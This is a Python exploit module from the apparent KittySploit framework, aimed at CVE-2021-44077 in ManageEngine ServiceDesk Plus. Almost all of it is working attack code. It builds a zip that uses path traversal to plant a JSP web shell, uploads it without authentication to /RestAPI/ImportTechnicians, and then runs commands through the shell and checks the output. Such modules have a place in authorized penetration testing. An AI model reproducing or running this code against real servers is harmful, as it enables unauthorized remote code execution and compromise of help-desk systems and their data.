ManageEngine ServiceDesk RCE (CVE-2021-44077)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ManageEngine ServiceDesk Plus ImportTechnicians RCE (CVE-2021-44077)."""

import io
import zipfile

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'ManageEngine ServiceDesk RCE (CVE-2021-44077)',
        'description': (
            'Exploits CVE-2021-44077 in Zoho ManageEngine ServiceDesk Plus: unauthenticated '
            'zip upload to /RestAPI/ImportTechnicians achieves path traversal and RCE.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-44077'],
        'platform': Platform.WINDOWS,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-44077'],
        'tags': ['manageengine', 'zoho', 'upload', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_44077_detect']},
        },
    }

    def _zip_payload(self, cmd: str) -> bytes:
        buf = io.BytesIO()
        jsp = (
            '<%@ page import="java.io.*" %>'
            f'<% Process p = Runtime.getRuntime().exec("{cmd}"); '
            'BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); '
            'String l; while((l=br.readLine())!=null){ out.println(l);} %>'
        )
        with zipfile.ZipFile(buf, 'w') as zf:
            zf.writestr('../../../../bin/ks_probe.jsp', jsp)
        return buf.getvalue()

    def check(self):
        r = self.http_request(method='GET', path='/RestAPI/ImportTechnicians', allow_redirects=False)
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and 'ImportTechnicians' in body:
            return {'vulnerable': True, 'reason': 'ImportTechnicians surface exposed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'ServiceDesk Plus not detected', 'confidence': 'medium'}

    def execute(self, cmd: str) -> str:
        data = self._zip_payload(str(cmd))
        boundary = '----KittySploitME'
        body = (
            f'--{boundary}\r\nContent-Disposition: form-data; name="theFile"; '
            f'filename="technicians.zip"\r\nContent-Type: application/zip\r\n\r\n'
        ).encode() + data + f'\r\n--{boundary}--\r\n'.encode()
        self.http_request(
            method='POST',
            path='/RestAPI/ImportTechnicians',
            data=body,
            headers={'Content-Type': f'multipart/form-data; boundary={boundary}'},
            allow_redirects=False,
        )
        r = self.http_request(method='GET', path='/bin/ks_probe.jsp', allow_redirects=False)
        return (r.text or '') if r else ''

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'cmd /c echo {token}') or '')

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        if not self.check_execute():
            print_warning('Upload surface confirmed — zip path may need target-specific tuning')
            self.vulnerable()
            return True
        return self.handler_execute()